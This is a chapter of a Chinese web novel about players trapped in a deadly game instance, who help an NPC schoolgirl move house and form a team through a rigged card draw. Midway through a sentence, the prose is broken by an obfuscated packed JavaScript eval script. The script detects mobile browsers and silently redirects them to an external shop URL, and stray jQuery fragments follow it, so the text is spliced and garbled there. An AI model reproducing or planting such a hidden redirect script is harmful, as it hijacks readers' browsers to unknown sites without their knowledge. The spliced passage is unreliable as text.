裴素闭了闭眼。
孙常祠凑过来用胳膊肘撞了下江袭,“你说话真吓人,像变态。”
江袭无辜摊手。
阎壑用指尖勾着自己的红发玩,嬉皮笑脸地凑到江袭另一边,“就算是事实也不能这么唠吧,怪可怕的。”
钱忠良满脸的赞同,摸了摸自己圆滚滚的肚子,颇为惆怅地叹了口气。
路灯闪烁了两下,离几人不远的一栋楼里走出个大妈,红袖箍戴得板板正正,冲着他们吆喝了几声。
“还不快点搬掉呀?”大妈指着家具,“一会小妮儿放学了看见侬些东西还乌七八糟堆在这里,肯定要哭鼻子的呀。”
李示见鬼一样往后蹿了老远,孙常祠看了看家具,迎了上去。
“姨,妮儿忘了给我们钥匙,”孙常祠可怜巴巴,拉着大妈的手摇了摇,“我们现在进不去她门,搬哪儿去?”
大妈眼睛瞪圆:“心悠那小妮儿没给你们钥匙?这娃娃粗心嘞。”
孙常祠连连点头。
“那先放着嘛,”大妈把手抽出来,指指那堆东西,“你们给妮儿归拢归拢,待会子搬起来不费事嘛。”
孙常祠应下了,大妈又吩咐了几句,转身走了。
裴素状态调整得很快,她撸下手腕上的皮筋,把头发绑了个揪,“总之都是倒霉鬼,你们要游戏体验,我要活着通关,咱们最好能合作愉快。”
江袭没应声,自顾自把袖子挽起,站到了那堆家具边上。
“我门牌号203。”阎壑跟过来,“楼道里哐啷哐啷关门声响了好几次,住的都不远吧。”
东倒西歪的凳子被阎壑扶起,孙常祠把垫子摞回沙发,认真铺平了沙发套,“204。”
孟回极和钱忠良笨拙地整理着书柜里的杂物,他们住302和303。
“202。”江袭应了句。
他和301的裴素搭了把手,正研究着床板下面塞满的衣物,只有李示全程不参与,自个儿躲得老远,不停搓着胳膊。
一阵小皮鞋的噔噔声在突然熄灭的路灯里飘来,几人纷纷停下动作转过头,看向声音来处。
背着书包的姑娘踩着小皮鞋从拐角拐过来,身上的校服是礼服样式的三件套。
“哎呀。”姑娘看见他们时愣了愣,很快一拍脑门,小跑着迎了过来,“抱歉抱歉!素素姐我忘记给你们钥匙……咦?”
程心悠迟疑地看着孟回极和钱忠良,往裴素身边靠了靠,“他们是……?”
裴素对于她的亲近虽然一头雾水,但被问及时还是下意识帮忙解释,“是我邻居,302和303的业主。”
程心悠松了口气,转身噔噔噔又往楼上跑,“那就好。”
几人对视一眼,各自搬着家具跟上。
304的门被打开,程心悠抱着猫给他们让开条路,“辛苦了呀。”
江袭把椅子放好,目光移到程心悠怀里那只猫身上。
“它又跑去你那里要吃的了?”注意到江袭的目光,程心悠拍了拍小猫的尾巴根,“它就是爱蹭吃蹭喝,江医生别和它一般见识。”
江袭笑了笑:“怎么会。”
孙常祠也来凑热闹,试图以插科打诨来逃避做苦力,“原来还是个吃百家饭的,它那会儿吃了我一大把猫粮呢。”
程心悠嗔了小猫一眼:“常祠哥你也别惯着它。”
江袭斜了眼孙常祠,“该搬东西去了。”
孙常祠哀怨地瞥了江袭一眼,插着兜晃了出去。
304内部装潢精致漂亮,江袭和程心悠在房间里待着太碍事,索性出门,靠在往四楼去的楼道聊天。
“我最近大概不用去你那里了。”程心悠活泼地晃着脑袋,“转来这边之后我状态好了很多。”
“那最好不过了。”江袭对她笑,“我和你素素姐都为你高兴。”
裴素忙着收拾屋子,孟回极和钱忠良抬着沙发哼哧哼哧上楼,两个中年男人涨红了脸,费劲的就差喊个号子。
程心悠探着脑袋看他们,笑容灿烂。
“会的。”程心悠说,“江医生,我之前总觉得难过,也觉得害怕,幸好认识了你。你说的对。新环境能带给我的美好比坏处多了太多,这里有你,有素素姐和常祠哥,这几位叔叔和那个新哥哥看起来也很和善。”
“会好的。”程心悠趴在栏杆上嘟囔,小猫伏在她肩头蹭她,“肯定会的。”
江袭静静地看着她。
二楼三楼的声控灯全都坏的蹊跷,楼道里的光源只有304玄关处的声控灯,那盏灯随着屋里收拾的动静忽明忽暗,堪堪打出小半边在他们站立的地方。
灯又一次黑了下去,只是这回没人再把它喝亮,淡蓝色的光在楼道里柔软地铺开,映的程心悠脸颊一片惨白。
【神寓玩家江袭,编号A0001。成功载入副本“尾随”。】
【检测到玩家已发现个人身份,个人身份不再提示。】
【玩家任务:找到并指认尾随者。指认错误不得分。】
【祝您游戏愉快。】
江袭指尖微动,流动蓝色光屏的面板很快消失。
小皮鞋在地上跺了下,程心悠喝亮了304的声控灯,疑惑地转过头。
“他们怎么没声了?”程心悠扒着栏杆往下看,想了想,抱着猫又一溜烟跑了下去。
“素素姐——”
江袭看着程心悠的背影,垂下了眼睫。
她是游戏设计的npc,目前看来有段待挖掘的故事,按理说,她应该看不见玩家的信息面板,也不知道这群哥哥姐姐是玩家。
可江袭依然发现了在楼道陷入漆黑、蓝色薄光突兀出现斜着打在她脸上时,她眼睫下意识的颤动。
很快,也很轻。
但的确存在。
…
江袭下楼时,304已经收拾的井井有条。
几个人仿佛把这当成了副本下达的隐藏任务,收拾的时候铆足了劲的干,力求做到尽善尽美。
程心悠正在挨个塞红包,啪啪啪的几个大红封拍下去,一时间令几个大人都有些恍惚。
孟回极直到回房前还在感慨自己已经很多年没收到红包,没想到时隔多年,再收红包的场面竟然不是他死去后见到作古多年的老娘,而是被一个高中生发苦力费。
江袭也拿到了一个,比其他人的厚了起码一倍,孙常祠酸的冒酸菜汤,指着自己鼻子说悠悠啊,我的红包为什么比他薄?
程心悠眨眨眼,说常祠哥,你脸真大。
几个人笑着闹成了一团,裴素捏着红包站在边上,突然间忘了自己原本是想找他们说些什么。
氛围太轻松,太正常,好像他们就是群好心的邻居,帮一个自己来陌生城市上学的小姑娘搬了个家。
程心悠明早还要上学,几人闹了一会儿就各自散去,裴素慢吞吞走在最后,看到孟回极和钱忠良回房后,伸手戳了一把前面的江袭。
江袭停下脚步,叫住了孙常祠和阎壑。
几个人浩浩荡荡下楼进了江袭的公寓,轻手轻脚,好像做贼。
阎壑瘫的毫无形象,倒仰着横在江袭沙发上,在听到裴素那句“你们的任务是什么”时打了个哈欠,表情恹恹。
“找到尾随的变态然后给他举报了。”阎壑回答。
孙常祠满脸凝重:“任务相同,但我总觉得你的任务带有强烈的个人情感色彩,是面板坏了吗。”
阎壑无语:“这是交换信息时必要的艺术加工,懂不懂语言的艺术啊。世界榜榜一大神,你说呢?”
江袭耸了耸肩:“我不发表意见。”
裴素的脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176289|150592||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
色在这仨人你一言我一语的聊闲里很快灰了下去。
“我的任务不一样。”裴素说。
三个人瞬间安静下来,好像被人按下了终止符,齐刷刷看向裴素。
“钱忠良和孟回极都是找出尾随者,”裴素露出个难看的笑,“我问过了。”
“我需要找到怪物,在它没发现我识破它的前提下指认它。”
“……这是我的任务。”
江袭看着裴素通红的眼眶,给她接了杯水。
裴素接过水杯,下嘴唇咬出了圈细细的牙印,情绪波动有些大,“为什么特别的那个人是我?”
阎壑坐正了身子,嘶了一声。
——进了这种会死人的破游戏本来就令人崩溃,同行玩家的轻松自在和游刃有余,只会让神经高度紧绷的人更加紧张。
对自身实力的高度不自信,对副本信息的一无所知,以及自身任务有异于他人、任务一眼可见的危险性和困难度极高,这接踵而至的一切足够令一个普通人崩溃。
裴素深吸口气,手指尖儿握着杯壁,用力的有些发白。
“没事儿哈,”阎壑拿着听可乐冲裴素举杯,“咱们有世界榜一呢,他带飞你应该不是问题。”
裴素愣了愣。
她看向身边的江袭,瞳仁颜色浅淡的青年正在翻饮品柜,闻言不咸不淡嗯了声。
“咱们来玩个游戏。”江袭终于翻出了藏在柜子深处的红酒,他斜睨着裴素,嘴角笑意温融,“来抽牌吧,如果能抽到同花色,我们四个在这场副本里组队,我来帮你。”
“如果组队成功,我帮你找到怪物,作为交换,你在这个副本结束之后欠我一个要求。”
裴素把水杯放下,伸出了手。
江袭扬了扬眉头。
裴素言简意赅:“牌。”
牌是江袭发的,他抽屉里什么都有,翻出来之后随便洗了洗,一人发了一张,完全随机。
裴素盯着眼前的牌,心跳声在耳朵里愈跳愈大,在孙常祠数过号之后一把翻开。
黑桃JQKA,四个人各一张。
同花顺。
江袭懒散倚在沙发上,漫不经心地笑了下,伸手拍了拍裴素肩膀。
“好了。”江袭说,“天意说咱们四个组队成功了,回去睡觉吧。”
裴素板了一整天的肩膀在看见花色相同时骤然松了下去,她吐出口浊气,站起身对着江袭鞠了个躬。
锁舌弹上的声音在寂静的屋子里有些突兀,孙常祠把扑克牌收起来,捋齐了放回盒子里。
“你假切做的真漂亮,”孙常祠满脸羡慕道,“教教我呗。”
江袭把红酒从醒酒器里倒出来,斟进三个高脚杯,“概不外传。”
阎壑茫然地张大了嘴。
他反应了一会儿才醒过神,指指江袭又指指孙常祠,最后指着自己,觉得自己此时此刻应有个红鼻子,“感情那同花顺是做的手脚啊?”
孙常祠用一种悲悯的目光看他:“对啊。”
阎壑悲愤:“为什么啊?!”
江袭没理他,自顾自拿了只高脚杯,抿了一口。
孙常祠也跟着端了杯子,看向阎壑的目光悲天悯人,好像在看一个炮仗精,“因为她不需要人施舍来着。”
在几小时前始终表现的骄傲又冷静的姑娘面对副本泰然的像个游戏老手,肯定是不需要,也不想要谁施舍的。
“新人嘛,任务太超纲肯定心里害怕。”孙常祠啜了口酒,“但是少用救世的姿态垂怜人家,姑娘刚烈着呢。”
江袭笑了下,和孙常祠碰杯。
“我们只是合作关系。”江袭说,“完全平等,也彼此互利。裴素冷静又理智,是个很好的合作人。”
酒杯相撞,红酒泼了些在杯壁,留下片暗色的湿痕。